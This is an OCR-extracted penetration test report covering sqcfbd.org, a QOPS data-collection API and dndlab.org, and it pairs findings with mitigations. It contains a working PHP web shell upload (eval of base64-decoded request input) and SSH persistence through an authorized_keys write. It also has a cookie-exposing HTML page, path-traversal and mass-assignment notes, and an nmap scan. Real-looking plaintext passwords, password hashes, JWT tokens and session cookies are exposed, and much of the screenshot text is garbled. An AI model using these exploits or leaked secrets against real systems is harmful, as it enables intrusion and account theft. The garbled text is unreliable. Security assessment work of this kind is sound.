Dashboard  Target  Proxy  Intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer  Logger  Organizer  Extensions  Learn ) Settings
1x 2x + Qi
[ send | Follow redirection Target: https:/fsqcfbd.org /©  HTTPL2 (3)
Request Response " nspector W E T @ X
Raw  Hex S | Prety Raw  Hex Render = | Requestatributes 2 v
1 2023 1 HTTP/2 302 Found
) ------WebKitFormBoundaryTgJpnDB4AVUpMsgh > Server: nginx/1.19.0 Request query parameters 0 v
Content-Disposition: form-data; name="com_bi 3 Date: Thu, 28 Sep 2023 21:51:49 GMT
4 Content-Type: text/html; charset=UTF-8 Request body parameters 7 v
65 2023 5 X-Powered-By: PHP/8.1.9
66 ------1 WebKi tFormBoundaryTgJpnDB4AVUpMsgh 6 Cache-Control: no-cache, private Request cookies. 2 v
7 Content-Disposition: form-data; name="date_en Set-Cookie: XSRF-TOKEN=
eyJpdiI6InFtWVI0a0)3eWZ1M2MOYO1wV25FbmcIPSISINZhbHV1I joiNE@zckp)dCt3a@10TNR1VGZSZkgo Reques(hsaders 23 v
TUVXQ1BnWFdhW1F3Q3YvejVES@Q4WW1GTE JVZTNWTUR20GQ3T11jK1hQN11RY1ASWNdoVmVaVvioody9SdGNT
70 -=nmnni WebKi tFormBoundaryTgJpnDB4AVUpMsgh dFRWS1dRWUNIWVZZQTVRCMNRUAU J4Q2F SZGVya3RLQzByKO1jaFNyckdtbis iLCJtYWMi0i1z0TNKYMQS0GQW
71 Content-Disposition: form-data; name date_bn" ZTk4MTIyMDE1MTQZNWQ2YTgxXMWJ jZjA@M] EyNWY1YZYwWODA@N2ViOTVKYjU1YjdmNjQ2NDkzIiwidGFnIjoi
72 In0%3D; expires=Thu, 28-Sep-2023 23:51:49 GMT; Max-Age=7200; path=/; samesite=lax
73 2023 8 Set-Cookie: laravel_session=
- --WebKitFornBoundaryTg pnDB4AVUpNSh ey JpdiT6T]ZxZ3E2ZbUSHHNXTEQUNXhVU1g4V1ESPSTS InZhbHV1Tj01dEEyCzdBOTFIZStTaT JsV3FZMGKw
5 Content-Disposition: form-data; name="month_en" WWVIeDNTVZzBtai- '2p@UVB6VZ11RGPDT Ip: 11TE1mLZRzek: IYXVORUSGZCYkZqanZR
76 MDJKM1V1UFZIV1kvb@54YmY1T3YXWnNYdC820VZIcDFoWk82RIRSZGtJUjgil CJtYWMiOiIXNZMwY2YX0GU3
77 2023 YWMOMZI3ZDgSZTgoYWY INThiYTAXODMSONMAY2QyNTQ3YZE3YWEQZjEZNZJkZDAmY2RkNMZY4T iwidGFnIjoi,
- ---WebKitFormBoundaryTgJpnDB4AVUpMsgh Ine%3D; expires=Thu, 28-Sep-2023 23:51:49 GMT; Max-Age=7200; path=/; httponly;
79 Content-Disposition: form-data; name="month_bn" samesite=lax
1 9 Location: https://sqcfbd.org/drawings/create
10 Strict-Transport-Security: max-age=31536000
2 - - -WebKi tFormBoundaryTgJpnDB4AVUpMsgh Content-Security-Policy: upgrade-insecure-requests
3 Content-Disposition: form-data; name="img_loc"; filename="rce.php" 12
4 Content-Type: text/plain <IDOCTYPE html>
4 <html>
5 <zphp <head>
7 $decodedString = base64_decode($_REQUEST['code']); € <meta charset="UTF-8" />
echo eval($decodedstring) ; 17 <meta http-equiv="refresh” content="0;url="https://sqcfbd.oxg/drawings/create" "
o /23] >
% rrl———rwebKnFormBoundaryTgJanE4AVUpquh 1
1 Content-Disposition: form-data; name="tags" 19 <title>
2 Redirecting to https://sqcfbd.org/drawings/create
</title>
% ~WebKi tFornBoundaryTgJpnDB4AVUpMSGh- - 20 </head>
95 21 <body>
@ @[€)[3] [seo - °<§>ﬁ0 @ n K omatches

Done 1,602 bytes | 2,409 millis

At first | executed echo phpinfo(); php code , to view username and home directory.
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https://sqcfbd.org/storage/images/

2 Applications  Places @) Firefox ESR Sep29 35IAM

® | B8 Base64Encodeand Decc X PHP 8:1.9 - phpinfol) x +
< Cc @ O 8 hitps://sqcfbd.org Jeli
KaliLinux # Kali Tools - KaliDocs % KaliForums X Kali NetHunter = Exploit-DB = Google Hacking DB 1) OffSec
Zip version 1195
Libzip version 161
zlib
2Lib Support enabled
Stream Wrapper compress.zlibi/]
Stream Filter Zlb.inflate, ziib deflate
Compiled Version 1211
Linked Version 1211
Directive Local Value Master Value

zlib.output_compression off off
2lib.output_compression_level E =
2lib.output_handler I |

Additional Modules

I Module Name
Environment
Variable Value
USER X |sacios3
| Home | whvgrsactoss
PHP Variables
Variable Value
$_REQUEST['code’] ZWNobyBwaHBpbmZvKCk7
$_GET['code’] ZWNobyBwaHBpbmZvKCk7
$_SERVER['USER'] 5qcf063
$_SERVER['HOME'] Ivhig/sqcfo63
$_SERVERI['SCRIPT_NAME'] Jstorage/images/rce.php
$_SERVER['REQUEST_URI'] K7
$_SERVER['QUERY_STRING'] code=ZWNobyBwaHBpbmZvKCk7
$_SERVER['REQUEST_METHOD'] GET
$_SERVER['SERVER_PROTOCOL'] HTTP/1.1
$_SERVER['GATEWAY_INTERFACE'] CGIL.1
$_SERVER['REMOTE_PORT'] 42922
$_SERVERI'SCRIPT_FILENAME'] Ivhig/sqcf063/wwwistorage/images/rce.php
$ SERVERI'SERVER ADMIN'] admin@nixtecsvs.com
Then | listed the home directory to see if .ssh directory is existed or not.

22 Applications  Places &) Firefox ESR Sep29 3:55AM

® 8 Base64 Encode and Deco X | sqcfbd.org/storagefimages/' X = List all files in one x B8 URLEncodeand Decode X  +

€« > Cco 08 sqcfbd.org/storageli ! SUgPSBYCGVUZ 2y02 DY2lykplHsKICAgIHdo ! Kol [150%) 1

Kali Linux # Kali Tools - Kali Docs % KaliForums e Kali NetHunter = Exploit-DB = Google Hacking DB 1) OffSec

Http.xz gc-web vendor.zip composer.phar .wget-hsts .viminfo .mysql_history .htpasswd.cpanel .bashrc .bash profile .bash logout .bash_history www tmp
qc-website2 gc-website misc log .trash .tmb @ .quarantine .local .config .cache

|3

Looks like the .ssh directory exists.

Now | generate my ssh private public key pair.

:~/Desktop/pentest$ ssh-keygen -b 2048 -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/shifat/.ssh/id rsa): ./sqcfbd
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./sqcfbd
Your public key has been saved in ./sqcfbd.pub
The key fingerprint is:
SHA256 : iEAfui4Yy4KZCCeOpaTMTfhIvMwzx5FNVKRXT1JcN8Y shifat@shifat
The key's randomart image is:
[+---[RSA 2048]----+
|
I 4
N e -
| oo

0 +.
o

|+0++.0.+S
&B + o .
|&.X o .
|oe +

|
+- - - - [SHA256]

:~/Desktop/pentest$ 1s
payload.txt sqcfbd sqcfbd.pub

:~/Desktop/pentest$ cat sqcfbd.pub
ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAQCXU/0YIs6MoUMirWUnX60P7F9qrwu@6QNQIHCFMTMpseksnTYtvKGTIHVUMW7 iX0brXrXMMuKPyzAk6ChNI1E3afaNWoDQZ5MWpn1IAKPZDFViX8DD08Siaj
[WIMIOAKhhDWNBUTMUXT1Q37q/AVrDN9jNkXcMuyaYvcQX4fzrM08jgadwis88rappIr55Y7c2YMfhGfpeso2X3Ycd3WgbjZ6TKXHva2qSGF88EPYNHOVF jVN/aZfkm@rBbvwxZIspKYY2Gk1zV+UQidIJTzduDi
X01s+d3sm+DXSTmgh1Tbv8tANrtrwXt1p0/guTFOyKawMK2axNW2ABs1OWKIRuHv shifat@shifat

:~/Desktop/pentest$

Then | wrote the content of the ssh public key file which is sqcfbd.pub into authorized_keys
file that existed in the .ssh directory.
Then | used the ssh private key to gain full access to the domain.
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:~/Desktop/pentest$ chmod 400 sqcfbd

:~/Desktop/pentest$ ssh -i sqcfbd -p 2222 -1 sqcf@63 sqcfbd.org
The authenticity of host '[sqcfbd.org]:2222 ([193.70.79.13]:2222)' can't be established.
ED25519 key fingerprint is SHA256:jZexSDKABoxFseljP1KGOWF7NXKEHeYaGVBQgwLOYSc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[sqcfbd.org]:2222' (ED25519) to the list of known hosts.
Gentoo Base System release 2.6
Linux smtpy 4.19.72-gentoo #1 SMP Sun Oct 6 19:30:45 +06 2019 x86_64 Intel(R) Xeon(R) CPU E5-1660 v4 @ 3.20GHz GenuineIntel GNU/Linux

2 EEERD)
1 smtpy

46.105.104.51
1 2001:41d0:2:d733::2/64
1 2001:41d0:2:d733::1/64
: 192.168.0.201
1 2001:41d0:2:d733::2/64
1 2001:41d0:2:d733::1/64

sqcfo63@smtpy s

composer.phar log
sqcfo63@smtpy whooami

-bash: whooami: command not found

sqcf063@smtpy whoami

sqcfe63

sqcf063@smtpy id
uid=1212(sqcf063) gid=1214(sqcf063) groups=1214(sqcf@63),16(cron),1001(sftp)
sqcf063@smtpy

The .htaccess file can be used to attack the clients of the website.It can redirect a user to
any website.

| can also upload html files which can be used to perform client side attacks like session
hijacking ,phishing etc.For example, | uploaded the showcookie.html

erminal Help <

showcookie.html X

~ookie.htm! > & html

html

dacument.write(dmcument.cookieb;
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Burp Project Intruder Repeater View Help Burp Suite Community Edition Temporary Project - X
Dashboard  Target Repester  Intruder  Collaborator  Sequencer  Decoder  Comparer  Logger  Organizer  Extensions  Leam @) Settings
HTTP history WebSockets history 5 Proxy settings

£ B Request to httpsi//sqcfbd.org:443 [193.70.79.13]

Forward Drop Action Open browser | ¥ w2 (O

w = T = &
; Raw  Hex Inspector wld = - ® X
- ~WebKitFormBoundar yNr3oPCh2gMdKTE2v
Content-Disposition: form-data; name="com bn" Request attributes 2 v
5|2000 N Request query parameters 0 v
------WebKitFormBoundar ylr3oP0h2 gMdK
Content-Disposition: form-data; name=
Request body parameters 7
00
- ~WebKitFormBoundar yNr3oPQb2gMdKTE82v Request cookies 2 v
71 Content-Disposition: form-data; name="date_bn"
Request headers a3 v

2000

--WebKitFormBoundar yNr3oPQb2gMdKT8 2v

5 Content-Disposition: form-data; name="month_en"”

2000

2gMdKT82v
"month_bn"

~-WebKitFormBoundar yNr3o
Content-Disposition: form-data; nam

2000

~-WebKitFormBoundar yNr3oPQb2gMAKTE 2v
Content-Disposition: form-data; name="img_loc"; filename="showcookie.html"
Content-Type: text/html

<!DOCTYPE html>

ament . wr ite (document
</script>
</htm.

~WebKitFormBoundar yNr3oPCh2gMdKTE2v
Content-Disposition: form-data; name="tags"

~-WebKitFormBoundar yNr3oPQb2gMAKTE 2v-~

XS IGIE 0 highlights

1208 AM

9/29/20;

When | visit the http://sqcfbd.org/storage/images/showcookie.html , it shows my cookie ,
which can be used by anyone to log into my account.

@ Upload new Drawing X @ sachbdorg/storagefimages/shov X+

& C' [3) sqcfbd.org/storage/images/showcookie html

XSRF-
TOKEN=eyJpdil6LjJSQmIOWDB2alo2YVpFemS5aN 1 EybIEOPSIsInZhbHVIIjoiMnY 2L 1FDalITZ2V2bX Z3bUSnMkZQWU9pQnJqZIBQK3BaRHBwYndibERURTFWYKNnUzZNnQWImdG05cGdzaTVwMINQb2 | RenZRZy8SSDRMN

1210 AM
9/2 3

@

An attacker can send the cookie anonymously to his server using javascript.here it is a
demo.
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Chapter 6

Results & Analysis

Detailed Findings And Recommendations

Vulnerabilities Of http://vps-414ae572.vps.ovh.ca/

Arbitrary File Upload

There is an arbitrary file upload vulnerability in “book.ts” and “document.ts” which are
located inside /var/www/qops-data-collection-api/src/controller Directory. The vulnerability is
located inside reUploadThumb and UploadThumb function.

) File Edit Selection View Go Run Terminal Help 0 src

@ EXPLORER

v sRC BEBUVA conto

: ny, callback: any
callback:

filename: r file: any, callback: any
extension = path.extname :
console.log
callback

> OUTLINE z awa tL.findoneAndupdate
> TIMELINE

Mitigation: Just place the codes inside the yellow box to the top of red box

Misconfigurations

Unprotected Rsync

The server had an unprotected rsync server where anyone only downloads any file in the
server that has read permission to user “centos”.

Mitigation: | have already shutdown the server.
21



levice nodes for

c act:
oaded act

isabled)

spoofed addre

11:30 PM
8/1/2023

Expose Internal server

The NodedS frontend server and backend which are running on port 9001 and 9000
respectively are exposed. Anyone can connect to them directly without going through nginx
reverse proxy server which is running on port 80.

This is important because the above mentioned file upload vulnerability’s exploitation
method does not work through nginx. | have to connect to port 9000 directly for that exploit
to work.

28 Applications  Places @8 Terminal Augl 6:07AM

a shifat@MapleLeaf: ~/Desktop/pentest

,:\ ) - [~/Desktop/pentest]
sudo nmap vps-414ae572.vps.ovh.ca
[sudo] password for shifat:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-01 06:06 +06
Nmap scan report for vps-414ae572.vps.ovh.ca (51.79.254.118)
Host is up (0.042s latency).
Other addresses for vps-414ae572.vps.ovh.ca (not scanned): 2462:1f00:8000:800::15el
Not shown: 994 filtered tcp ports (no-response)

STATE SERVICE VERSION

open ssh OpenSSH 7.4 (protocol 2.0)

open http nginx 1.20.1

open rpchind 2-4 (RPC #100000)

n__rsync rotocol version 31

9000/tcp open http Node.js Express framework
9001/tcp open http Node.js Express framework

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.19 seconds

( ) - [~/Desktop/pentest]
Lon

Mitigation: When you specify port number for server to listen , you must also specify host ip
(Interface ip) , in this case it should be 127.0.0.1 OR localhost . By default , nodedS listens
on (0.0.0.0) which is any interface. This means anyone from an external network can
connect to this server.

Before Mitigation:



oy = app.listen(ap
console. log

running
____tlr) s
_||)

After mitigation:

runnin
~t ),
1

)

Password Leak on pm2 logs

22

When any user logs in QOPS , the nodeJS api server writes email and password in plain

text in pm2 logs.

"pm2-logrotate-out 2023-07-31 14-08-00.log" has been deleted

login email: de.op7@dndlab.org
login password: 123456
_user: {
_id: new ObjectId("63a575e79d21bb223aa6f354"),
name: 'Data Entry Operator 7',
email: 'de.op7@dndlab.org',
readableId: 46,
updatedAt: 2022-12-22T05:43:05.276Z,
roles: [ 'data-entry' ],
createdAt: 2022-12-23T09:33:27.630Z,
forgotPassword: false,
passwordSalt: 'b@abeead44dd65570f0579f88241c8f1",

passwordHash: '5191f3bc4ad4fd28b7e307fa89b3bd18a5adfcca39777b215d1c0728aa694fac7e18d284cf0lcd4d7aebc5529a6fh246cae7259d829bb1163d95c6ca70503ce

password is valid.
serialize user:
_assigedRoles.length: 1

storageErrors: []

i

document dataEntryStatus change detected: submitted
in email: de.opl3@dndlab.org
in password: 123456

{

new ObjectId("64c3fb33f3cc5ec27d814b31"),

: 'Operator 13',
email: 'de.opl3@dndlab.org’,
readableId: 59,
updatedAt: 2023-07-28T17:26:22.171Z,
roles: [ 'data-entry' ],
createdAt: 2023-07-28T17:30:27.612Z,
forgotPassword: false,
passwordSalt: '1302673f4f9d9844a6732fb6e821b5a6',

passwordHash: '98b818ecbccadlfb0d2e79d978201adf62bebab5ead8586a37323562a1470c0cdd2d7698fc9a8b4e3b69ad1f87e077ca9d7d760c04b66cf548d3c55a68b45¢57" ,

_v: 0
}
password is valid.
serialize user:
assigedRoles.length: 1
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“

% Home | QoP Data X  +

v - a x

& (¢] O & or vps4 ovh.ca b © 8 - ¥ O =

Data Entry Panel Home Dashboard Data Collection DataEntry & Data Entry Operator 7 <5

Assigned Images

Book Info Assigned Image Info Action

Electricity Operator: Board Bazar Total: 100
Substation: BOARD BAZAR INDOOR SUBSTATION-1

Submitted: 30 Start
Book Type: BOARD BAZAR INDOOR SUBSTATION-1-Reading Register ubmitte
Book Year: 2019 Pending: 70
Electricity Operator: Board Bazar Total: 25
Substation: Board Bazar-Zajor Submitted: 25
Book Type: Board Bazar - Zajor | Chandona - Shutdown Homite
Book Year: 2020 Pending: 0
Electricity Operator: Mymensing Palli Buiddut Shamity-2 Total: 89
Substation: Sreepur-1 Vintage Denim Submitted: 89
Book Type: Vintage Denim - Industry Shutdown )
Book Year: 2022-Apr-Sep Pending: 0
Electricity Operator: Mymensing Palli Buiddut Shamity-2 Total: 29

Substation: Sreepur-1, 40MVA

Submitted: 29
Book Type: Sreepur-1 40MVA - Daily Load Flow - Incommer/Transformer ubmitte

Book Year: 2019-Dec Pending: 0

Electricity Operator: Mymensing Palli Buiddut Shamity-2 Total: 50

Substation: Sreepur-1, 40MVA Submitted: 47 start
Book Type: Sreepur-1 40MVA - Complaint Register uomitied:

Book Year: 2021-22 Pending: 3

Electricity Operator: Mymensing Palli Buiddut Shamity-2 Total: 30

RETY)

8/4/2023

Potential Security Hazards:

Key-Value Overwrite
There is a Key-Value overwrite vulnerability in updateByld() function which is located inside

document.ts .The file location is /var/www/qops-data-collection-api/src/controller .

) File Edit Selecton View Go Run Terminal Help
ORER
v SRC O c tts >

updateById =

dataEntr
} = req.body

document.ts

mentL . findById(id);

> route

> util

apl £ S taEnt dataEntryStatus
erver dataentr char tected: ', dataEntryStatus)

document: IDocumentlL = await DocumentL.findOneAndupdate
id },

dy ,

.status(200) . json({

> OUTLINE
> TIMELINE
Ao ) Ln1,Col1 Spaces:2 UTF-8 LF {)} TypeScript &
5:59 AM

NG e B

You can see that req.body is directly passed on findOneAndUpdate() function. If anyone
adds some value for an existing key , it will overwrite that value for that key in the database.

Here is an example , 24



Home Workspaces v  Explore + tme O  signin
History New Import  poST hitp://51.79 < tp://vps-414ae572 GET htt M4 PUT http://51.79.254.18:900

I http://51.79.254.118:9000/api/document/6 4c544f45d2948d61bf28b46
http:/5179.254.118:9000/api/document/64c544: http://51.79.254.118:9000/api/document/64c544f45d2948461bf28b46
http://51.79.254.118:9000/api/document/64c544f:
Authorization (10)  Body

http://51.79.254.118:9000/api/document/64c544f

form-data @ x-www-form-urlencoded binary
http://vps-414ae572.vps.ovh.ca/api/document/64
http://vps-414ae572.vps.ovh.ca/api/image/64c54
http://51.79.254.118:9000/api/image/64c5 44f45d:
http://51.79.254.118:9000/api/document/64c544f:

http://51.79.254.118:9000/api/image/64c54445d:

Body Cookie:

http://51.79.254.118:9000/api/document/64c544f
http://51.79.254.118:9000/api/image/64c5 4445d: iy o e sl
http://51.79.254.118:9000/api/document/64c544f
http://51.79.254.118:9000/api/document/64c544f
http://51.79.254.118:9000/api/document/64c544f:
http://51.79.254.118:9000/api/document/64c544f
http://51.79.254.118:9000/api/image/64c5 44f45d:
http://51.79.254.118:9000/api/document/64c544f:
http://51.79.254.118:9000/api/document/64c544f
http://51.79.254.118:9000/api/image/64c5 44f45d:
http://51.79.254.118:9000/api/image/64c544745d:
http://51.79.254.118:9000/api/document/64c544f
http://51.79.254.118:9000/api/image/64c5 44f45d:

http://51.79.254.118:9000/api/image/64c544f45d:

ol a8

Mitigation: Just take what is needed from the request , then discard the request.

Potential Arbitrary File Read/Delete Vulnerability

If the node JS application is ever updated on server , Using mentioned above vulnerability
anyone can read any file on the server since the website running as root user.This hazard is
located inside providelmage() and updateByld() function which is inside document.ts .

) File Edit w Go Run Terminal Help

v SRC
> config

dataEntry.ts
dalalpety .Findone({ _-
document.ts
electrici
./upl s id document1.extension
createReadstream(path) ;
id;

> util filenam ' + filename +

a)

rror

res. status(500).json({

succes
code: 500,

> OUTLINE
> TIMELINE

®@32A0 Ln1,Col 1

25



) File Edit

@ EXPLOR

deleteyId =

{
req.params;

ny > OUTLINE

As long as someone updates the extension key with enough ../ (path traversing) , they can
read any file on the system.

Unrestricted route on client side
Anyone on the site register on the site and login. They can browse sensitive paths like
[/setting which admin panel on the site.
There are other sensitive path like:
o /flag
e /data-verification etc.

Here are some screenshots.
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Recent Data Total Row: 4
Date Time HT-01 HT-02 11-KV 33-KV Stap Changer Label
29-09-2021 08:50 HT-01-VOLT HT-02-VOLT 11-KV-VOLT 33-KV-VOLT
1:9.624 1:9.556 1:9.745 1:29.73
2:9.639 2:9.708 2:9.695 2: 29.56
3:9.765 3:9.756 3:9.800 3:29.74
HT-01-Current HT-02-Current | 11-KV-Current |33-KV-Current
15066 Lt Loter 1316
2:52.78 2:4337 2:93.56 2:30.2
3:52.39 3:46.72 3:97.08 3:32.2
29-09-2021 10:30 HT-01-VOLT HT-02-VOLT 11-KV-VOLT 33-KV-VOLT
1:9.788 1:9.839 1:9.831 1:29.28
2:9.847 2:9.720 2:9.971 2:29.19
3:9.940 3:9.929 3:9.861 3:29.24
HToL-Current HT-02-Curtent L1kv-Curtent 33-kv-Curtent
1:47.97 1:4257 1:91.35 1:32.6
2:49.29 2:42.40 2:93.20 2:315
3:48.04 3:45.55 3: 96.56 3:33.0 &

Jul26

Applications  Places @ Chromium-browser

% Setting | QoP Data x +

Change password of Data Entry

New Password

Retype New Passowrd

Users and data Leaking

While navigating the site | noticed the site loads a lot of sensitive information (user list , data
etc.) from the server but doesn’t show. But BurpSuit can easily capture and show them.
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I3 Applications Places B burpsuite

Burp Project Intruder Repeater Window Help

Burp Suite Community Edition v2023.4.3 - Temporary Project

Jul26 7:33PM

Dashboard  Target _ Proxy  Intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer  Logger  Extensions  Leam @) Settings
Intercept _ HTTPhistory  WebSockets history {3} Proxy settings
Filter: Hiding CSS, image and general binary content
# Host Method URL Params  Edited Statuscode Length MIMEtype Extension Title Comment TS P Cookies Tim
8 http://vps-414ae572.vps.ovh... GET ! 200 1946 HTML QoP Data 51.79.254.118 19:32:56
9 http://vps-414ae572.vps.ovh... GET  [static/js/bundlejs 200 script s 5 6
Request Response == inspector L
LR B = | ey R He B " = pequestarbutes 2 v
1 bET /api/user HTTP/1.1 "createdAt":"2022-08-29T12:54:03.4827",
Request cookies k- o
2 Host: vps-414ae572.vps.ovh.ca "_v":i0
3 Accept: application/json, text/plain, */* ¥ Request headers 9 v
4 Authorization: Bearer { Respionse hgaders =Y v
eyJhbGciOiJIUzZIINiISINRScCI6IKkpXVCJ9.eyJpZCI6IjYQY "_id":"630ccad4af2786a7330e534fc",
mM5ZDczZmQ@YzY4AMWE3MGZ1ZjcONyIsImlhdCI6MTY5MDM30DM "name":"Co-ordinator"”,
5MiwiZXhwIjoxNjkwNzIzOTkyfQ.qmmmI9E8cgx9KXXMplh-ve "email":"coordinator@dndlab.com",
p1Q7U86F619gaad_1CLhQ "readableId":2,
5 User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; "updatedAt”:"2022-08-29T12:54:03.4827",
x64) AppleWebKit/537.36 (KHTML, like Gecko) "roles":[
Chrome/113.0.5672.93 Safari/537.36 "co-ordinator”
6 Referer: http://vps-414ae572.vps.ovh.ca/home 1,
7 Accept-Encoding: gzip, deflate "createdAt":"2022-08-29T12:54:03.4827",
8 Accept-Language: en-US,en;q=0.9 »_W"ie
9 Cookie: connect.sid= },
s%3AX7EGh-LI1z_jPMRtg2p4f6BHHE47eXWy . fTQ7HS1YF%2BoC {
ErSWJrgGefzBZTmPM7dKKcy4UL8@9KRK "_id":"630cca68f2786a7330e53500",
10 Connection: close "name" : "Supervisor",
11 "email":"supervisor@dndlab.com",
12 "readableId":3,
"updatedAt":"2022-08-29T12:54:03.4827",
"roles":[
OB «|> h omatches | DS} (€| 0 matches

tions  Places  § burpsuite

Recent Burp Project
Dashboard

Intercept

Intruder Repeater Window Help

Target _ Proxy Intruder Collaborator

HTTP history

Repeater Sequencer

Starred

WebSockets history {5} Proxy settings

Jul26 7:41PM

Burp Suite Community Edition v2023.4.3 - Temporary Project

Decoder ~ Comparer  Logger  Extensions  Learn

{65 Settings

Hone Filter: Hiding CSS, image and general binary content

Documents Host

https//vps-414 h
http://vps-4142e572.vps.ovh.
http://vps-4142572.vps.ovh,
Music htplivpe-d1 ¥

Method URL

bg.fc9af735ff0.

Params

Downloads Japilauth v

fapiluser

htp:/lvps-414 h
http://vps-4142572.vps.ovh,

Pictures /ap\/‘book

Request
Rt Hoy

1 |GET /api/assignedrole HTTP/1.1

2 Host: vps-414ae572.vps.ovh.ca

3 Accept: application/json, text/plain, */*

4 Authorization: Bearer

+ Other Locatid

Edited  Status code Extension Comment
200
200
200
200
200

200

Length  MIME type
175070
n»
1519
1785
67130
67404

text
JSON
JSON
JSON
JSON
JSON

svg

a
n
"coordinatorId":"63@ccadaf2786a7330e534fc",

"role":"supervisor",
"updatedAt":"2022-09-12T16:44:13.788Z",
"createdAt":"2022-09-12T16:44:13.788Z",
N v':0

Response

Raw  Hex

|®
P Tim
51.79.254.18
51.79.254.118
51.79.254.118
51.79.254.118
51.79.254.118
51.79.254.118

Cookies

connect.sid=s%3.

Inspector
Request attributes
Request cookies
Request headers

Response headers

eyJhbGci0iJIUZIINiISINRSCCI6IKpXVCI9. ey JpZCI6IYQY
mM5ZDczZmQ@YzY4MWE3MGZ1Z jc@NyIsImlhdCI6MTYS5MDM30DM
5MiwiZXhwIjoxNjkwNzIzOTkyfQ.gmmmI9E8cgx9KXXMplh-ve

p1Q7U86F619gaad_1CLhQ

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/113.0.5672.93 Safari/537.36

6 Referer: http://vps-414ae572.vps.ovh.ca/home

7 Accept-Encoding: gzip, deflate

8 Accept-Language: en-US,en;q=0.9

9 Cookie: connect.sid=
S%3AX7EGh-LT1z_jPMRtg2p4 f6BHHEA7eXWY .
ErSWJrgGofzBZTmPM7dKKcy4UL8@9KRK

10 Connection: close

0 maty

Vulnerabilities Of http://sqcfbd.ora/

Unrestricted File upload

FQ7HS1YF%2BoC

L& 632c00f5816492a14c529001",
"readableId":35
"fromDate":"2022-09-22",
"toDate":"2022-09-23",
"assignedOperatorIds”: [

"630f342eeaad0eafc3ee5f29"

1,

"operatorId":"630f3400eaad0eafc3eeSebe",
"coordinatorId":"63@ccadaf2786a7330e534fc",
"role":"supervisor",
"updatedAt":"2022-09-22T05:54:33.5372",
"createdAt":"2022-09-22T05:54:33.537Z",
LENRVRY )

[@IIRIES

ches 0 matches

nshot from 2023

The Lack of file type filtering in DrawingController class and PosterController class inside
DrawingController.php and PosterController.php respectively allows .htaccess file upload

and php file.

Recommendation: Only allow image files from client.

Vulnerabilities Of http://dndlab.orqg/
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http://sqcfbd.org/
http://sqcfbd.org/

Wordpress version of the site is 4.9.18 which was released on 2021-05-12.

Vulnerabilities of main site(27 vulnerabilities identified)

WordPress < 5.8 - Plugin Confusion

https://wpscan.com/vulnerability/95e01006-84e4-4€95-b5d7-68ea7b5aala8
WordPress < 5.8.3 - SQL Injection via WP_Query

https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95¢1317
WordPress < 5.8.3 - Author+ Stored XSS via Post Slugs

https://wpscan.com/vulnerability/dc6f04c2-7bf2-4a07-92b5-dd197e4d94c8
WordPress 4.1-5.8.2 - SQL Injection via WP_Meta_Query

https://w n.com/vulnerability/24462ac4-7959-4575-97aa- 722
WordPress < 5.8.3 - Super Admin Object Injection in Multisites
https://wpscan.com/vulnerability/008c21ab-3d7e-4d97-b6c3-db9d83f390a7
WordPress < 5.9.2 - Prototype Pollution in jQuery
https://wpscan.com/vulnerability/1ac912c1-5e29-41ac-8f76-a062de254c09
WP < 6.0.2 - Reflected Cross-Site Scripting
https://wpscan.com/vulnerability/622893b0-c2c4-4ee7-9fa1-4cecef6e36be
WP < 6.0.2 - Authenticated Stored Cross-Site Scripting

https://wpscan.com/vulnerability/3b1573d4-06b4-442b-bad5-872753118ee0
WP < 6.0.2 - SQLi via Link API

https://wpscan.com/vulnerability/601b0bf9-fed2-4675-aec7-fed3156a022f
WP < 6.0.3 - Stored XSS via wp-mail.php

https://wpscan.com/vulnerability/713bdc8b-ab7c-46d7-9847-305344a579c4
WP < 6.0.3 - Open Redirect via wp_nonce_ays

https://wpscan.com/vulnerability/926cd097-b36f-4d26-9¢c51-0dfab11¢c301b
WP < 6.0.3 - Email Address Disclosure via wp-mail.php

https://wpscan.com/vulnerability/c5675b59-4b1d-4f64-9876-068e05145431
WP < 6.0.3 - Reflected XSS via SQLi in Media Library

https://wpscan.com/vulnerability/cfd8b50d-16aa-4319-9¢2d-b227365¢c2156
WP < 6.0.3 - CSRF in wp-trackback.php

h JIw n.com/vulnerabili 7-ae78-4 - -a78cf74
WP < 6.0.3 - Stored XSS via the Customizer
h JIw n.com/vulnerability/2787684c- f-4171- 4- 48c7421

WP < 6.0.3 - Stored XSS via Comment Editing
https://wpscan.com/vulnerability/02d76d8e-9558-41a5-bdb6-3957dc31563b
WP < 6.0.3 - Content from Multipart Emails Leaked
https://wpscan.com/vulnerability/3f707e05-25f0-4566-88ed-d8d0aff3a872
WP < 6.0.3 - SQLi in WP_Date_Query
https://wpscan.com/vulnerability/1da03338-557f-4cb6-9a65-3379df4cced 7
WP < 6.0.3 - Stored XSS via RSS Widget
https://wpscan.com/vulnerability/58d131f5-f376-4679-b604-2b888de71c5b
WP < 6.0.3 - Data Exposure via REST Terms/Tags Endpoint
https://wpscan.com/vulnerability/b27a8711-a0c0-4996-bd6a-01734702913e
WP < 6.0.3 - Multiple Stored XSS via Gutenberg

https://wpscan.com/vulnerability/f513c8f6-2e1c-45ae-8a58-36b6518e2aa9
WP <= 6.2 - Unauthenticated Blind SSRF via DNS Rebinding

https://wpscan.com/vulnerability/c8814e6e-78b3-4f63-a1d3-6906a84c1f11
WP < 6.2.1 - Directory Traversal via Translation Files

https://wpscan.com/vulnerability/2999613a-b8c8-4ec0-9164-5dfe63adf6e6
29
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https://wpscan.com/vulnerability/95e01006-84e4-4e95-b5d7-68ea7b5aa1a8
https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317
https://wpscan.com/vulnerability/dc6f04c2-7bf2-4a07-92b5-dd197e4d94c8
https://wpscan.com/vulnerability/24462ac4-7959-4575-97aa-a6dcceeae722
https://wpscan.com/vulnerability/008c21ab-3d7e-4d97-b6c3-db9d83f390a7
https://wpscan.com/vulnerability/1ac912c1-5e29-41ac-8f76-a062de254c09
